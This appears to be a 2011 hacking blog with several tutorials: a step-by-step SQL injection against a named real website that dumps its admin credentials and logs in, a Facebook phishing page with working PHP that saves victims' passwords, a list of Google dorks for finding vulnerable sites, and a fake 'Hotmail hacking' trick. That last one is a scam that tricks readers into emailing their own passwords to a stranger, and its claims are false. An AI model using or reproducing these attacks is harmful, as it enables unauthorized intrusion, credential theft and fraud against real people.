http://site.com/news/view.php?id=828 order by 1-- (page loads normal)

http://site.com/news/view.php?id=828 order by 2-- (page loads normal)

http://site.com/news/view.php?id=828 order by 3-- (page loads normal)

http://site.com/news/view.php?id=828 order by 4-- (page loads normal)

http://site.com/news/view.php?id=828 order by 5-- (page loads normal)

http://site.com/news/view.php?id=828 order by 6-- (page loads normal)

http://site.com/news/view.php?id=828 order by 7-- (page loads normal)

http://site.com/news/view.php?id=828 order by 8-- (page loads normal)

http://site.com/news/view.php?id=828 order by 9-- (error)

In above chart
it means columns no is 8.error on 9 and page loads normal on 8.
So, for our site now we find its column no........
I will put 10 in the end my link will become

http://www.elmtreeproject.net/event.php?id=-11 order by 10--

Their is error on page means column no is less than 10...Screenshot

Now i will put 9-- my link becomes

http://www.elmtreeproject.net/event.php?id=-11 order by 9--

But again error comes now i will put 8-- and this time no error comes page loads normal.So the web i am hacking its column no is 8..

So we have find the column no.Now, we put union select after the id=-11 and then all the numbers upto column no separated by comma (,)and in the end --.

Our link will look like

http://www.elmtreeproject.net/event.php?id=-11 union select 1,2,3,4,5,6,7, 8--

Then it will show some number,which is the no of the column which are vulnerable.

Screenshot

Now we will find data base version.For this just erase the number in the link,which you see on the screen at replace it with

@@version.If data base version is gerater than 5 your work is easy..

I got 3,5 as vulnerable so i replaced 5 with @@version,do try with all column no.My link become after adding @@version..

http://www.elmtreeproject.net/event.php?id=-11 union select 1,2,3,4,@@version,6,7,8--

My data base version is 5.0.77.

Now we will find data base.for this make link like this

http://www.elmtreeproject.net/event.php?id=-11+union+select 1,2,3,4,group_concat(schema_name),6,7,8 from+information_schema.schemata--

I have replace @@version with group_concat(schema_name) and in the end i have entered from+information_schema.schemata--.

Be careful We are all doing this on vulnerable column as we find your is 5.

Screen shot

Now we will find data base name.For this replace group_concat(schema_name) by database() and erase every thing after column no.

My link becomes

http://www.elmtreeproject.net/event.php?id=-11+union+select 1,2,3,4,database(),6,7,8

And you will see the name of data base.

Now we have to find tables.For this replace database with group_concat(table_name) and in the end add from information_schema.tables where table_schema=database()--.
My link become

http://www.elmtreeproject.net/event.php?id=-11+union+select 1,2,3,4,group_concat(table_name),6,7,8 from information_schema.tables where table_schema=database()--

Table name will be displayed where information is saved..

Find some thing like user or admin where you think password and user name of web is saved in our web (user) can be a table where pass is saved.So for knowing what is inside in all table change link as

http://www.elmtreeproject.net/event.php?id=-11+union+select 1,2,3,4,group_concat(column_name),6,7,8 from information_schema.tables where table_schema=database()--

change group_concat(table_name) by group_concat(column_name).
Find some thing like pass , password and user_name or any thing where password and user name can be saved.
screen shot

In my web i found password and loin.
So now find what is in password and login which is the username and pass of the web.
change the link as

http://www.elmtreeproject.net/event.php?id=-11+union+select 1,2,3,4,group_concat(login,0x3a,password,0x3a),6,7,8 from user--

user is the name of the table we find above.In user login and password is hidden.
You use your table name in the end.
screen shot

WOw we find the pass and user name.The pass is in hash so, we have to convert it in text..
our user name is mark
password in hash is 6c8c73ee9e41867a2cd358cd15fb5964.
goto www.passcracking.com and convert it.

After cracking hash
pass:SAADI

Now , just go to the admin page and enter the user name and pass you will be enter as admin..enjoy

Finding a admin page is not a hard job i will tell you in other tut...just google it the web name with admin page you will find it.our is

http://www.elmtreeproject.net/members/index.php

Enter pass and user name we found...

WOW we enter the site

HAPPY HACKING.
I WILL KEEP POSTING GOOD TUTS FOR YOU...
KING PRO SAADI

IF FACE ANY PROBLEM OR LIKE MY POST MSG ME ON FB http://facebook.com/ullah.sadat.

Phishing Hack any mail account

2011-06-04T08:43:00.000-07:00

Sallam guyz today i will share with you how to make a phishing page of any email account websites...

A phishing page is a fake page look just like the original page of any website.for example if you have a fake page of FACEBOOK its means that the page is just like facebook page but in truth it's a duplicated page of FACEBOOK.So, in phishing you sent Your duplicate page to the victim and when victim put its information in it , the information will be sent to you.

Now , in this tutorial i will teach you who to make a phishing page of facebook.
Soon i will also upload a video for better understanding.

STEP 1#
Now we start , first go to the www.facebook.com and save as the page by name Facebook.htm...

STEP#2
Right-click on the page you just recently have saved and select open with note pad..

NOW, press controll+f a window will open for finding a word within the file you have opened..Search for "action".Enter action in the search box which you open by pressing cntrl+f.

Find something like this

"POST" action="https://www.facebook.com/login.php?

And then replace https://www.facebook.com/login.php? with "login.php" and save the file.

Replace after the acction= with login.php.note erase after action= and upto brfore id.

Now after changing....

STEP 3#
Make a notepad file and copy the code given bellow....
CODE
<?php /* Created on: 3/27/2011 BY KING PRO SAADI */
$fp = fopen("FacebookPasswords.htm", "a");
fwrite($fp, "Email:$_POST[email]\tPassword:$_POST[pass]");
echo "<HTML>

<head>
<title>Welcome to facebook!</title>
<FRAMESET cols=\"*\">
<FRAME SRC=\"http://www.facebook.com\">

</FRAMESET>";?>

Save this file as login.php.
Now , over main work is done just upload these two files on a free hosting sites and sent the link of your fake facebook to ur friendz...

Now , for uploading make a account on a free hosting site like www.wehost.com , www.t35.com etc..

Go to www.t35.com and make a account, it is easy to make a account on www.t35.com and easy to use as well but i m a programmer so i will teach you on some advance free hosting.Do first try on www.t35.com make account on it and upload the 2 file we created facebook.htm and login.htm..
A sreenshot of my account on www.t35.com on which i have uploaded the files..

Now i will teach you some advanced free hosting
Go to www.byethost7.com then click on free hosting and make a free account...

Now after you had a account login in your account and upload the 2 file facebook.htm and login.php which you had made recently.Be careful do not upload these files on main drive..upload them in a directory which will be showing to u their...
After you login in your account click on online file manager..

Then after clicking on online file manager you will see a directory(a folder) click on that directory and upload the 2 files facebook.htm and login.htm....

Now you have done it.....Dont give your site link to victim , give them your page link..

Your page link will be www.your site name.byethost7.com/Facebook.htm.(f is capital)..

Who ever enter password in that page you will get the password and victim will be redirected to original facebook page..
For knowing password go to FacebookPassword.htm directory..
The link will be www.your site name.byethost7.com/FacebookPassword.htm..
Now look at the screen shot of my fake page, just check the link..

I have entered kingprosaadi username and password...

Now the password is here...

HAPPY HACKING..
I HOPE YOU ENJOYED WHILE READING THIS ARTICLE.I WILL KEEP POSTING SOME MORE USEFUL TUT FOR NO0bs.........
KING PRO SAADI....

Sql injection dorks

2011-06-03T09:16:00.000-07:00

These are some google dorks to find sqli vulnerable websites.

inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=

Hotmail email id hacking tutorial

2011-06-03T07:27:00.000-07:00

1.Login into your Hotmail account.
note:your account must be at least 6 months older for this to work.
2.Once you have logged into your own account.Write an e-mail.
3.Subject:PASSWORD RECOVERY
4.Then type your Hotmail account ID followed by password on next line.
5.Then type that Hotmail ID which is to be hacked on next line.
And copy this code in the end:

cgi-bin_RETRIVE_PASS_KEY_CGI_BIN/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start?
v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>

6.And send it to live-pass.4aa672bu91762agtye@hotmail.com
7.When you send this Hotmail server thinks that password.
will be given to proper person but you will get the password.
8.after 10 minutes,you will get password of desired ID on your Hotmail account.
HAPPY HACKING.......

FOR EXAMPLE:

TO:live-pass.4aa672bu91762agtye@hotmail.com
Subject:PASSWORD RECOVERY
Message:
yourAccount@hotmail .com
Yourpassword
victims id(the id you want to hack)
code:
cgi-bin_RETRIVE_PASS_KEY_CGI_BIN/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start?
v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&

What will happen is that you will get the password by admin of your desire ID by insureing that you is the right person to password recovery be send....ENJOYYYYYY......